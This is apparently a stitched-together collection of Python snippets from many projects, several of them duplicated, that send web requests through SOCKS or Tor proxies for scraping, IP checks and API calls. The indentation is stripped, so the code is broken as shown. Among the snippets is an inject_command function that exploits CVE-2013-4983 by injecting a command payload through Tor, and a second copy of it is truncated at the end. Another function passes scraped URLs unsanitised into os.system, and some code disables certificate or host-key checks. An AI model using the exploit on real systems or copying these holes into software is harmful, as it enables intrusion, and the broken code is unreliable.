def get_page(url, port, timeout, max_retries=1):
if max_retries == 1:
session = requesocks.session()
elif max_retries > 1:
session = requesocks.session(config={'max_retries': 10})
else:
raise
session.proxies = {'http': 'socks5://127.0.0.1:{}'.format(port),
'https': 'socks5://127.0.0.1:{}'.format(port)}
return session.get(url, timeout=timeout)
def get_page(url, port, timeout, max_retries=1):
if max_retries == 1:
session = requesocks.session()
elif max_retries > 1:
session = requesocks.session(config={'max_retries': 10})
else:
raise Exception
session.proxies = {'http': 'socks5://127.0.0.1:{}'.format(port),
'https': 'socks5://127.0.0.1:{}'.format(port)}
return session.get(url, timeout=timeout)
def runtest():
if target.tor is None and target.proxy is None and target.socks is None:
try:
request = requests.get(target.host)
checkparam(request)
except requests.ConnectionError as error_message:
print "============================"
print "HTTP connection failed with status message:"
print error_message
print "============================"
elif target.tor is not None and target.proxy is None and target.socks is None:
try:
session = requesocks.session()
session.proxies = {
"socks5": "socks5://127.0.0.1:9050"
}
request = session.get(target.host, auth=('user','pass'))
checkparam(request)
except requesocks.exceptions.ConnectionError as error_message:
print "============================"
print "HTTP connection failed with status message:"
print error_message
print "============================"
elif target.proxy is not None and target.tor is None and target.socks is None:
proxy = {
"http": "http://"+target.proxy,
"https": "https://"+target.proxy
}
try:
request = requests.get(target.host, proxies=proxy)
checkparam(request)
except requests.ConnectionError as error_message:
print "============================"
print "HTTP connection failed with status message:"
print error_message
print "============================"
elif target.socks is not None and target.proxy is None and target.tor is None:
try:
session = requesocks.session()
session.proxies = {
"socks4": "socks4://"+target.socks,
"socks5": "socks5://"+target.socks
}
request = session.get(target.host, auth=('user','pass'))
checkparam(request)
except requesocks.exceptions.ConnectionError as error_message:
print "============================"
print "HTTP connection failed with status message:"
print error_message
print "============================"
def runtest():
if target.tor is None and target.proxy is None and target.socks is None:
try:
request = requests.get(target.host)
checkparam(request)
except requests.ConnectionError as error_message:
print "============================"
print "HTTP connection failed with status message:"
print error_message
print "============================"
elif target.tor is not None and target.proxy is None and target.socks is None:
try:
session = requesocks.session()
session.proxies = {"socks5": "socks5://127.0.0.1:9050"}
request = session.get(target.host, auth=('user', 'pass'))
checkparam(request)
except requesocks.exceptions.ConnectionError as error_message:
print "============================"
print "HTTP connection failed with status message:"
print error_message
print "============================"
elif target.proxy is not None and target.tor is None and target.socks is None:
proxy = {
"http": "http://" + target.proxy,
"https": "https://" + target.proxy
}
try:
request = requests.get(target.host, proxies=proxy)
checkparam(request)
except requests.ConnectionError as error_message:
print "============================"
print "HTTP connection failed with status message:"
print error_message
print "============================"
elif target.socks is not None and target.proxy is None and target.tor is None:
try:
session = requesocks.session()
session.proxies = {
"socks4": "socks4://" + target.socks,
"socks5": "socks5://" + target.socks
}
request = session.get(target.host, auth=('user', 'pass'))
checkparam(request)
except requesocks.exceptions.ConnectionError as error_message:
print "============================"
print "HTTP connection failed with status message:"
print error_message
print "============================"
def downloadNewImages():
tor_process = stem.process.launch_tor_with_config(config = {'SocksPort': str(self.socks_port)})
self.success = []
for x in self.new_dog_img_dict.keys():
try:
dfile = new_dog_img_dict[x]
fname= x +'.jpg'
if not self.bucket.get_key(fname):
session = requesocks.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050','https': 'socks5://127.0.0.1:9050'}
file_object = self.bucket.new_key(fname)
r = session.get(dfile)
if r.status_code == 200:
with open(fname, 'wb') as f:
r.raw.decode_content = True
shutil.copyfileobj(r.raw, f)
file_object.set_contents_from_filename('./'+fname,policy='public-read')
self.success.append(x)
os.remove(fname)
else:
self.err_coll.insert_one({'id':record['id'], 'err':r.status_code})
except:
e = sys.exc_info()[1]
self.err_coll.insert_one({'id':record['id'], 'err':str(e)})
def get_metadata(self):
if self.script_alias:
archive_url = '{0}/{1}/perfsonar/archive/'.format(
self.api_url, self.script_alias)
else:
archive_url = '{0}/perfsonar/archive/'.format(self.api_url)
session = requesocks.session()
if os.getenv('SOCKS5'):
session.proxies = {
'http': os.getenv('SOCKS5'),
'https': os.getenv('SOCKS5')
}
session.verify = False
r = session.get(archive_url,
params=dict(self.filters.metadata_filters,
**self.filters.time_filters),
headers=self.request_headers)
self.inspect_request(r)
if r.status_code == 200 and \
r.headers['content-type'] == 'application/json':
data = json.loads(r.text)
for i in data:
yield Metadata(i, self.api_url, self.filters)
else:
self.http_alert(r)
return
yield
def main(stochastic=False, resolve_classes=False):
session = requesocks.session()
resolver = ClassResolver(session, resolve_classes)
timeschedules = TimeSchedules(session)
print('loaded')
for index, term in enumerate(timeschedules):
print(term)
has_entries = False
# ignore with probability 1 - (1 / index)
if random.random() * index >= 1 and stochastic:
continue
dataset = TimeSchedulesDataset()
for dept in term:
print(dept)
dataset.add(dept.get_entries())
has_entries = True
if has_entries:
base = os.path.dirname(os.path.realpath(__file__))
dataset.notify_changes(
'/var/www/canigraduate/data/timeschedules/%s.json' % str(term))
dataset.write_timeschedules(
'/var/www/canigraduate/data/timeschedules/%s.json' % str(term))
dataset.write_timeschedules_compressed(
'/var/www/canigraduate/data/timeschedules-compressed/%s.json' %
str(term))
dataset.write_timeschedules_data_compressed(
'/var/www/canigraduate/data/timeschedules-compressed/%s.data.json'
% str(term))
if resolve_classes:
for id in dataset.data.keys():
resolver.add(id, term, dataset.names[id])
print('resolving classes')
if resolve_classes:
resolver.write(resolve_classes)
def get_metadata(self):
if self.script_alias:
archive_url = '{0}/{1}/perfsonar/archive/'.format(self.api_url, self.script_alias)
else:
archive_url = '{0}/perfsonar/archive/'.format(self.api_url)
session = requesocks.session()
if os.getenv('SOCKS5'):
session.proxies = {'http': os.getenv('SOCKS5'), 'https': os.getenv('SOCKS5')}
session.verify=False
r = session.get(archive_url,
params=dict(self.filters.metadata_filters, **self.filters.time_filters),
headers = self.request_headers)
self.inspect_request(r)
if r.status_code == 200 and \
r.headers['content-type'] == 'application/json':
data = json.loads(r.text)
for i in data:
yield Metadata(i, self.api_url, self.filters)
else:
self.http_alert(r)
return
yield
def get_by_rnp(number, TIMEOUT):
payload = {
#"action": "enviar",
"txtRuc": "",
"txtRnp": str(number),
"cmbCapitulo": "",
"cmbTipoPersona": "",
}
kargs = {
"data": payload,
"headers": _headers,
"timeout": TIMEOUT,
}
url = "http://www.osce.gob.pe/consultasenlinea/rnp_consulta/ProveedoresInscritos.asp?action=enviar"
tor_req = req_socks.session()
tor_req.proxies = _tor_proxies
try:
r = tor_req.post(url, **kargs)
name = extract_name(r.text)
if name is not None:
with codecs.open("out_osce.tsv", "a") as myfile:
myfile.write(number.encode("utf-8") + "\t")
myfile.write(name.encode("utf-8") + "\n")
except req_socks.exceptions.Timeout:
with codecs.open("out_osce.tsv", "a") as myfile:
out = "Timeout error %s" % number.encode("utf-8")
myfile.write(out + "\n")
except socket.timeout:
with codecs.open("out_osce.tsv", "a") as myfile:
out = "Timeout error %s" % number.encode("utf-8")
myfile.write(out + "\n")
def getip_requesocks(url):
print "(+) Sending request with requesocks..."
session = requesocks.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'}
r = session.get(url)
print "(+) IP is: " + r.text.replace("\n", "")
def __init__(self, cookies_dict: dict=None):
self.xnova_url = 'uni4.xnova.su'
self.user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0'
self.error_str = None
self.proxy = None
# load user-agent from config/net.ini
cfg = configparser.ConfigParser()
cfg.read('config/net.ini', encoding='utf-8')
if 'net' in cfg:
self.user_agent = cfg['net']['user_agent']
self.xnova_url = cfg['net']['xnova_url']
self.proxy = cfg['net']['proxy']
if self.proxy == '':
self.proxy = None
# construct requests HTTP session
if self.proxy is not None:
if self.proxy.startswith('socks5://'):
# for SOCKS5 proxy create requesocks session
self.sess = requesocks.session()
logger.info('Using SOCKS5 proxy session (requesocks)')
else:
self.sess = requests.Session() # else normal session
if self.proxy is not None:
self.sess.proxies = {'http': self.proxy, 'https': self.proxy}
logger.info('Set HTTP/HTTPS proxy to: {0}'.format(self.proxy))
# Some default headers for a page downloader
self.sess.headers.update({'User-Agent': self.user_agent})
self.sess.headers.update({'Referer': 'https://{0}/'.format(self.xnova_url)})
self.sess.headers.update({'Accept': '*/*'})
self.sess.headers.update({'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4'})
self.sess.headers.update({'Accept-Encoding': 'gzip, deflate'})
if cookies_dict:
self.set_cookies_from_dict(cookies_dict)
def downloadNewImages(bucket, new_dog_img_dict, d_id):
try:
dfile = new_dog_img_dict[d_id]
fname= d_id +'.jpg'
if not bucket.get_key(fname):
session = requesocks.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050','https': 'socks5://127.0.0.1:9050'}
file_object = bucket.new_key(fname)
r = session.get(dfile)
if r.status_code == 200:
with open(fname, 'wb') as f:
r.raw.decode_content = True
shutil.copyfileobj(r.raw, f)
file_object.set_contents_from_filename('./'+fname,policy='public-read')
os.remove(fname)
else:
client = MongoClient()
db = client.pet
err_coll = db.errs
err_coll.insert_one({'id':d_id, 'err':r.status_code})
except:
client = MongoClient()
db = client.pet
err_coll = db.errs
e = sys.exc_info()[1]
err_coll.insert_one({'id':record['id'], 'err':str(e)})
def main(stochastic=False, resolve_classes=False):
session = requesocks.session()
session.proxies = {'http':'54.183.147.66:3128',
'https':'54.183.147.66:3128'}
resolver = ClassResolver(session, resolve_classes)
timeschedules = TimeSchedules(session)
print('loaded')
for index, term in enumerate(timeschedules):
print(term)
has_entries = False
# ignore with probability 1 - (1 / index)
if random.random() * index >= 1 and stochastic:
continue
dataset = TimeSchedulesDataset()
for dept in term:
print(dept)
dataset.add(dept.get_entries())
has_entries = True
if has_entries:
base = os.path.dirname(os.path.realpath(__file__))
dataset.notify_changes('/var/www/canigraduate/data/timeschedules/%s.json' % str(term))
dataset.write_timeschedules('/var/www/canigraduate/data/timeschedules/%s.json' % str(term))
dataset.write_timeschedules_compressed('/var/www/canigraduate/data/timeschedules-compressed/%s.json' % str(term))
dataset.write_timeschedules_data_compressed('/var/www/canigraduate/data/timeschedules-compressed/%s.data.json' % str(term))
if resolve_classes:
for id in dataset.data.keys():
resolver.add(id, term, dataset.names[id])
print('resolving classes')
if resolve_classes:
resolver.write(resolve_classes)
def login(self):
self.s = requests.session()
#self.s.proxies = {'http': 'http://127.0.0.1:8087','https': 'http://127.0.0.1:8087'}
soup = BeautifulSoup(self.get_source(self.login_url))
authenticity_token = soup.find_all(attrs={"name": "authenticity_token"})[0]['value']
utf8 = soup.find_all(attrs={"name": "utf8"})[0]['value']
data = {
'utf8':utf8,
'session[login]':self.username,
'session[password]':self.password,
'authenticity_token' : authenticity_token
}
self.s.post(soup.select('.sign-in__form')[0]['action'], data = data)
soup = BeautifulSoup(self.get_source('https://tutsplus.com/account/courses'))
account_name = soup.select('.account-header__name')[0].string
if not account_name :
return False
print 'Logined success, account name: '+account_name
return True
def call_uber_api(port, token, lat, lon, fpath):
print 'Calling api for ' + fpath, port
"""Build a socks session."""
proxy_addr = 'socks5://127.0.0.1:%s' %port
session = requests.session()
session.proxies = {'http': proxy_addr, 'https': proxy_addr}
url = 'https://api.uber.com/v1/estimates/price'
parameters = {
'server_token': token,
'start_latitude': lat,
'start_longitude': lon,
'end_latitude': lat,
'end_longitude': lon
}
with open(fpath, 'a') as f:
while True:
try:
response = session.get(url = url, params = parameters)
res_json = json.loads(response.content)
except Exception, e:
sys.stderr.write(fpath + ': ' + str(e) + '\n')
break
f.write(str(int(time.time() * 1000)) + ':::::')
json.dump(res_json, f)
f.write('\n')
break
def __init__(self):
self.cookies = {}
self.browser = requesocks.session()
self.browser.cookies.clear()
self.browser.cookies = self.cookies
self.sock5 = None
self.proxy = None
def __init__(self, args):
super(HttpScan, self).__init__(args)
self.session = requesocks.session()
adapters.DEFAULT_RETRIES = self.args.max_retries
self.tor = None
if self.args.tor:
self.out.log("Enabling TOR")
self.tor = Torify()
self.session.proxies = {'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'}
if self.args.check_tor:
# Check TOR
self.out.log("Checking IP via TOR")
rip, tip = self.tor.check_ip(verbose=True)
if tip is None:
self.out.log('TOR is not working properly!', logging.ERROR)
exit(-1)
if self.args.cookies is not None:
if path.exists(self.args.cookies) and path.isfile(self.args.cookies):
self.cookies = MozillaCookieJar(self.args.cookies)
self.cookies.load()
else:
# self.out.log('Could not find cookie file: %s' % self.args.load_cookies, logging.ERROR)
self.cookies = Cookies.from_request(self.args.cookies)
else:
self.cookies = None
self.ua = UserAgent() if self.args.user_agent is None else self.args.user_agent
def construct_session(self):
#
# save cookies before replacing session
saved_cookies = None
if self.sess is not None:
if self.sess.cookies is not None:
saved_cookies = self.sess.cookies
#
if self.proxy is not None:
if self.proxy.startswith('socks5://'):
# for SOCKS5 proxy create requesocks session
self.sess = requesocks.session()
logger.info('Using SOCKS5 proxy session (requesocks)')
else:
self.sess = requests.Session() # else normal session
logger.info('Using normal session (requests)')
if self.proxy is not None:
self.sess.proxies = {'http': self.proxy, 'https': self.proxy}
logger.info('Set HTTP/HTTPS proxy to: {0}'.format(self.proxy))
self.sess.headers.update(
{'referer': 'http://{0}/'.format(self.xnova_url)})
#
# restore saved cookies?
if saved_cookies is not None:
self.sess.cookies = saved_cookies
def getip_requesocks(url):
print "(+) Sending request with requesocks..."
session = requesocks.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'}
r = session.get(url)
print "(+) IP is: " + r.text.replace("\n", "")
def test_proxy_by_requesocks():
import requesocks as requests
session = requests.session()
session.proxies = proxies
m = session.get('https://pixiv.net', headers=PIXIV_PAGE_HEADERS)
print (m.content)
def getUrl(animelist):
s = requesocks.session()
s.proxies = {'http':'socks5://127.0.0.1:1080'}
urllist = []
for item in animelist:
res = s.get('http://www.dilidili.com/anime/'+item).content
soup = BeautifulSoup(res, "lxml")
try:
u = soup.find('div', 'download area').a['href']
except:
continue
if re.search('pan.baidu', u):
urllist.append(u)
print "Get Url:"+u
continue
res = s.get(u).content
soup = BeautifulSoup(res, "lxml")
for it in soup('a', href=True):
if re.search('pan.baidu', it['href']):
urllist.append(it['href'])
print "Get url:"+it['href']
break
for item in urllist:
os.system('echo %s >> urllist.txt' % item)
return urllist
def run():
global ipQueueList
while not ipQueueList.empty():
ip = ipQueueList.get()
burp0_url = "https://www.virustotal.com:443/ui/ip_addresses/%s/resolutions?cursor=&limit=10" % ip
burp0_headers = {
"Accept": "*/*",
"Accept-Language": "en",
"User-Agent":
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection": "close"
}
proxies = {
"http": "socks5://127.0.0.1:9000",
"https": "socks5://127.0.0.1:9000"
}
session = requests.session()
session.proxies = proxies
session.headers = burp0_headers
resp = session.get(burp0_url, timeout=20).content
try:
msg = json.loads(resp)['data'][0]['attributes']['host_name']
except:
try:
print json.loads(resp)['data']
except Exception as e:
msg = "NotFoundError"
finally:
print "[+]%s ====>>> %s" % (ip, msg)
def get_http_client():
if config['use_tor_proxy']:
session = requesocks.session()
session.proxies = {'http': 'socks5://127.0.0.1:%d' % config['tor_proxy_port'],
'https': 'socks5://127.0.0.1:%d' % config['tor_proxy_port']}
return session
else:
return requests.session()
def get_http_client():
if config['use_tor_proxy']:
session = requesocks.session()
session.proxies = {'http': 'socks5://127.0.0.1:%d' % config['tor_proxy_port'],
'https': 'socks5://127.0.0.1:%d' % config['tor_proxy_port']}
return session
else:
return requests.session()
def makeSession(self):
self.session = requesocks.session()
#Use Tor for both HTTP and HTTPS
if self.tor:
self.session.proxies = {
'http': 'socks5://localhost:9150',
'https': 'socks5://localhost:9150'
}
def doGet(*args, **kwargs):
url = args[0]
doVhosts = kwargs.pop('vhosts' ,None)
urlQueue = kwargs.pop('urlQueue' ,None)
subs = kwargs.pop('subs' ,None)
extraHosts = kwargs.pop('extraHosts',None)
proxy = kwargs.pop('proxy',None)
kwargs['allow_redirects'] = False
session = requests.session()
if(proxy is not None):
session.proxies={'http':'socks5://'+proxy,'https':'socks5://'+proxy}
resp = session.get(url[0],**kwargs)
#If we have an https URL and we are configured to scrape hosts from the cert...
if(url[0].find('https') != -1 and url[1] == True):
#Pull hostnames from cert, add as additional URLs and flag as not to pull certs
host = urlparse(url[0]).hostname
port = urlparse(url[0]).port
if(port is None):
port = 443
names = []
try:
cert = ssl.get_server_certificate((host,port),ssl_version=ssl.PROTOCOL_SSLv23)
x509 = M2Crypto.X509.load_cert_string(cert.decode('string_escape'))
subjText = x509.get_subject().as_text()
names = re.findall("CN=([^\s]+)",subjText)
altNames = x509.get_ext('subjectAltName').get_value()
names.extend(re.findall("DNS:([^,]*)",altNames))
except:
pass
for name in names:
if(name.find('*.') != -1):
for sub in subs:
try:
sub = sub.strip()
hostname = name.replace('*.',sub+'.')
if(hostname not in extraHosts):
extraHosts[hostname] = 1
address = socket.gethostbyname(hostname)
urlQueue.put(['https://'+hostname+':'+str(port),False,url[2]])
print '[+] Discovered subdomain '+address
except:
pass
name = name.replace('*.','')
if(name not in extraHosts):
extraHosts[name] = 1
urlQueue.put(['https://'+name+':'+str(port),False,url[2]])
print '[+] Added host '+name
else:
if (name not in extraHosts):
extraHosts[name] = 1
urlQueue.put(['https://'+name+':'+str(port),False,url[2]])
print '[+] Added host '+name
return resp
else:
return resp
def doGet(*args, **kwargs):
url = args[0]
doVhosts = kwargs.pop("vhosts", None)
urlQueue = kwargs.pop("urlQueue", None)
subs = kwargs.pop("subs", None)
extraHosts = kwargs.pop("extraHosts", None)
proxy = kwargs.pop("proxy", None)
kwargs["allow_redirects"] = False
session = requests.session()
if proxy is not None:
session.proxies = {"http": "socks5://" + proxy, "https": "socks5://" + proxy}
resp = session.get(url[0], **kwargs)
# If we have an https URL and we are configured to scrape hosts from the cert...
if url[0].find("https") != -1 and url[1] == True:
# Pull hostnames from cert, add as additional URLs and flag as not to pull certs
host = urlparse(url[0]).hostname
port = urlparse(url[0]).port
if port is None:
port = 443
names = []
try:
cert = ssl.get_server_certificate((host, port), ssl_version=ssl.PROTOCOL_SSLv23)
x509 = M2Crypto.X509.load_cert_string(cert.decode("string_escape"))
subjText = x509.get_subject().as_text()
names = re.findall("CN=([^\s]+)", subjText)
altNames = x509.get_ext("subjectAltName").get_value()
names.extend(re.findall("DNS:([^,]*)", altNames))
except:
pass
for name in names:
if name.find("*.") != -1:
for sub in subs:
try:
sub = sub.strip()
hostname = name.replace("*.", sub + ".")
if hostname not in extraHosts:
extraHosts[hostname] = 1
address = socket.gethostbyname(hostname)
urlQueue.put(["https://" + hostname + ":" + str(port), False, url[2]])
print "[+] Discovered subdomain " + address
except:
pass
name = name.replace("*.", "")
if name not in extraHosts:
extraHosts[name] = 1
urlQueue.put(["https://" + name + ":" + str(port), False, url[2]])
print "[+] Added host " + name
else:
if name not in extraHosts:
extraHosts[name] = 1
urlQueue.put(["https://" + name + ":" + str(port), False, url[2]])
print "[+] Added host " + name
return resp
else:
return resp
def doGet(*args, **kwargs):
url = args[0]
doVhosts = kwargs.pop('vhosts' ,None)
urlQueue = kwargs.pop('urlQueue' ,None)
subs = kwargs.pop('subs' ,None)
extraHosts = kwargs.pop('extraHosts',None)
proxy = kwargs.pop('proxy',None)
kwargs['allow_redirects'] = False
session = requests.session()
if(proxy is not None):
session.proxies={'http':'socks5://'+proxy,'https':'socks5://'+proxy}
resp = session.get(url[0],**kwargs)
#If we have an https URL and we are configured to scrape hosts from the cert...
if(url[0].find('https') != -1 and url[1] == True):
#Pull hostnames from cert, add as additional URLs and flag as not to pull certs
host = urlparse(url[0]).hostname
port = urlparse(url[0]).port
if(port is None):
port = 443
names = []
try:
cert = ssl.get_server_certificate((host,port),ssl_version=ssl.PROTOCOL_SSLv23)
x509 = M2Crypto.X509.load_cert_string(cert.decode('string_escape'))
subjText = x509.get_subject().as_text()
names = re.findall("CN=([^\s]+)",subjText)
altNames = x509.get_ext('subjectAltName').get_value()
names.extend(re.findall("DNS:([^,]*)",altNames))
except:
pass
for name in names:
if(name.find('*.') != -1):
for sub in subs:
try:
sub = sub.strip()
hostname = name.replace('*.',sub+'.')
if(hostname not in extraHosts):
extraHosts[hostname] = 1
address = socket.gethostbyname(hostname)
urlQueue.put(['https://'+hostname+':'+str(port),False,url[2]])
print '[+] Discovered subdomain '+address
except:
pass
name = name.replace('*.','')
if(name not in extraHosts):
extraHosts[name] = 1
urlQueue.put(['https://'+name+':'+str(port),False,url[2]])
print '[+] Added host '+name
else:
if (name not in extraHosts):
extraHosts[name] = 1
urlQueue.put(['https://'+name+':'+str(port),False,url[2]])
print '[+] Added host '+name
return resp
else:
return resp
def init_tor_session():
global session
if not session:
session = requesocks.session()
session.proxies = {
'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'
}
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36'
def get_ip_requesocks(url):
print('(+) Sending request with requesocks...')
session = requesocks.session()
session.proxies = {
'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'
}
r = session.get(url)
print('(+) IP is: {}'.format(r.text.replace('\n', '')))
class GCMPush:
session = requesocks.session()
session.proxies = {
'http': config.SOCKS5_PROXY,
'https': config.SOCKS5_PROXY,
}
mysql = None
gcm_apps = {}
@classmethod
def get_gcm_app(cls, appid):
now = int(time.time())
app = cls.gcm_apps[appid] if cls.gcm_apps.has_key(appid) else None
#app不在缓存中或者缓存超时,从数据库获取最新的accessid和secretkey
if app is None or now - app["timestamp"] > 60:
sender_id, api_key = application.get_gcm_key(cls.mysql, appid)
if sender_id is None or api_key is None:
return None
app = {}
app["timestamp"] = now
app["sender_id"] = sender_id
app["api_key"] = api_key
app["appid"] = appid
cls.gcm_apps[appid] = app
return app
@classmethod
def send(cls, api_key, device_token, title, content):
obj = {
"to" : device_token,
"notification" : {
"body" : content,
"title" : title
}
}
headers = {'Content-Type': 'application/json; charset=UTF-8',
'Authorization': 'key=' + api_key}
res = cls.session.post(GCM_URL, data=json.dumps(obj), headers=headers)
if res.status_code != 200:
logging.error("send gcm message error")
else:
logging.debug("send gcm message success")
@classmethod
def push(cls, appid, title, token, content):
app = cls.get_gcm_app(appid)
if app is None:
logging.warning("can't read gcm api key")
return False
cls.send(app["api_key"], token, title, content)
def init_tor_session():
global session
if not session:
session = requesocks.session()
session.proxies = {
'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'
}
session.headers[
'User-Agent'] = 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36'
def reset_socks():
if USE_SOCKS_PROXY:
import os
os.system("sudo killall -HUP tor") # force tor to get a new IP
if DEBUG:
import requesocks as requests
session = requests.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050', 'https': 'socks5://127.0.0.1:9050'}
resp = session.get('http://ipv4bot.whatismyipaddress.com')
print(resp.text)
def __init__(self):
self.cookies = {}
self.browser = requesocks.session()
self.browser.cookies.clear()
self.browser.cookies = self.cookies
self.header = 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'
self.sock5 = False
self.proxy = False
self.link_host = ''
self.link_origin = ''
def getip(self, url):
print "(+) Sending request with requesocks..."
session = requesocks.session()
session.proxies = {
'http': 'socks5://%s:%s' % (self.torip, self.torport),
'https': 'socks5://%s:%s' % (self.torip, self.torport)
}
r = session.get(url)
print "(+) IP is: " + r.text.replace("\n", "")
return r.text.replace("\n", "")
def getip(url):
print "(+) Sending request with requesocks..."
session = requesocks.session()
session.proxies = {
'http': 'socks5://14.63.227.176:9050',
'https': 'socks5://14.63.227.176:9050'
}
r = session.get(url)
print "(+) IP is: " + r.text.replace("\n", "")
return r.text.replace("\n", "")
def fetch_one_listing(base_url, page=""):
base = base_url + page
reset_socks()
session = requests.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050', 'https': 'socks5://127.0.0.1:9050'}
resp = session.get(base, timeout=3)
try:
resp.raise_for_status() # <- no-op if status==200
except:
pass
return resp.content, resp.encoding
def scrape_category_page(url):
session = requesocks.session()
resp = requests_get_trycatch(url, session)
if not resp: # URL not valid
return []
soup = BeautifulSoup(resp.content)
items = soup.find_all("a", {"class": "i"}, href=True)
# if href contains craigslist them it is a redirect to a posting at another location
item_hrefs = [item["href"] for item in items if "craigslist.org" not in item["href"]]
return item_hrefs
def whoami(self):
"""
This is a check to make sure the proxy is working.
"""
IPCHICKEN = "http://www.ipchicken.com"
session = requesocks.session()
session.proxies = self.session_proxies
response = session.get(IPCHICKEN, headers=self.request_params)
soup = BS(response.content, 'html.parser')
return soup.find_all('p')[1].find('b').next.replace(' ', '').replace('\n', '')
def getip_requesocks(url):
print "(+) Sending request with requesocks..."
session = requesocks.session()
session.proxies = {
'http': 'socks5://14.63.227.176:9050',
'https': 'socks5://14.63.227.176:9050'
}
r = session.get(url)
ip = r.text.replace("\n", "")
requests.get("http://192.168.0.48/add_ip/%s" % ip)
print "(+) IP is: " + ip
def process(self,input,output,year,PROXY=None):
session = requests.session()
if PROXY is not None:
session.proxies = {'http': 'socks5://'+PROXY}
out = None
for hcode, title in codes:
fmt = {'year':year,'hcode':hcode }
item_codes = session.get(CodesURL % fmt).text
item_codes = CodesRE.findall(item_codes)
print item_codes
if out is None:
out = csv.writer(file(output,"w"))
done = False
first = 0
while not done:
url = "http://www.obudget.org/api/supports/00/{0}?limit=1000&first={1}".format(year,first)
rows = real_requests.get(url).json()
rows = [ [ unicode(y).encode('utf8') for y in [x['year'], '', x['subject'], x['code'][2:],
x['recipient'], x['kind'],
x['title'], 0, 0, 0]] for x in rows ]
out.writerows(rows)
done = len(rows)==0
first += 1000
for item_code in item_codes:
fmt['code'] = item_code
print year,hcode,title.encode('utf8'),item_code
for i in range(10):
try:
frame = session.get(DataURL % fmt).text
break
except:
time.sleep(60)
pass
frame = pq(frame)
for row in frame("TR"):
row = pq(row)
_row = [year,hcode,title.encode('utf8'),item_code]
for x in row("TD.x3_0, TD.x3_1, TD.x2_0, TD.x2_1"):
x=pq(x)
x=x.text()
try:
_row.append(int(x.replace(",","")))
except:
_row.append(x.encode('utf8'))
if len(_row) > 4:
out.writerow(_row)
print _row
def __init__(self, port, location, key):
self.ssh = Popen(['ssh', '-o UserKnownHostsFile=/dev/null', '-o StrictHostKeyChecking=no', '-t', '-t', '-D', str(port), '-i', key, location, '> /dev/null 2>&1'])
self.session = requesocks.session()
self.session.proxies = {'http': 'socks5://127.0.0.1:%d' % port, 'https': 'socks5://127.0.0.1:%d' % port}
# hang until connection established
while True:
try:
self.session.get('http://timeschedules.uchicago.edu/').text
except:
continue
break
def inject_command(ip, payload):
""" Actually does the exploitation of CVE-2013-4983 to inject out payload """
url = "https://%s/end-user/index.php?c=blocked&action=continue" % (ip)
body = "url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d"
body += "&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo"
body += "&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample.com%3b"
body += payload
body += "&raw_category_id=one%7ctwo%7cthree%7cfour"
session = requesocks.session()
session.proxies = {"http": "socks5://127.0.0.1:9050", "https": "socks5://127.0.0.1:9050"}
session.post(url, data=body, verify=False)
def whoami(self):
"""
This is a check to make sure the proxy is working.
"""
IPCHICKEN = "http://www.ipchicken.com"
session = requesocks.session()
session.proxies = self.session_proxies
response = session.get(IPCHICKEN, headers=self.request_params)
soup = BS(response.content, 'html.parser')
return soup.find_all('p')[1].find('b').next.replace(' ', '').replace(
'\n', '')
def getip_requesocks(url):
try:
print "(+) Sending request with requesocks..."
session = requesocks.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'}
r = session.get(url,timeout = 30)
print "(+) tor_IP is: " + r.text.replace("\n", "")
return r.text.replace("\n", "")
except Exception,e:
print Exception,e
return -1
def get_page(url):
"""
Get the content of the url by using BeautifulSoup
"""
try:
session = requesocks.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'}
response = session.get(url, timeout=5)
return bs4.BeautifulSoup(response.text)
except Exception, e:
return get_page(url)
def get(url):
logging.info('GET: %s' % url)
try:
session = requesocks.session()
session.proxies = {
'http': 'socks5://localhost:9050',
'https': 'socks5://localhost:9050',
}
r = session.get(url)
return r.text
except:
return None
def fetch_search_results( base_url, sub, query=None, minAsk=None, maxAsk=None, bedrooms=None):
search_params = {
key: val for key, val in locals().items() if val is not None
}
base = base_url + sub
#resp = requests.get(base, params=search_params, timeout=3)
reset_socks()
session = requests.session()
session.proxies = {'http': 'socks5://127.0.0.1:9050', 'https': 'socks5://127.0.0.1:9050'}
resp = session.get(base,timeout=10)
resp.raise_for_status() # <- no-op if status==200
return resp.content, resp.encoding
def select_session(configs):
if 'proxies' in configs:
session = requesocks.session()
proxy = configs['proxies'][0]
session.proxies = {
'http': 'socks4://%s:%d' % (proxy['address'], proxy['port']),
'https': 'socks4://%s:%d' % (proxy['address'], proxy['port']),
}
else:
session = requests.session()
return session
def select_session(configs):
if 'proxies' in configs:
session = requesocks.session()
proxy = configs['proxies'][0]
session.proxies = {
'http': 'socks4://%s:%d' % (proxy['address'],proxy['port']),
'https': 'socks4://%s:%d' % (proxy['address'],proxy['port']),
}
else:
session = requests.session()
return session
def inject_command(ip, payload):
""" Actually does the exploitation of CVE-2013-4983 to inject out payload """
url = "https://%s/end-user/index.php?c=blocked&action=continue" % (ip)
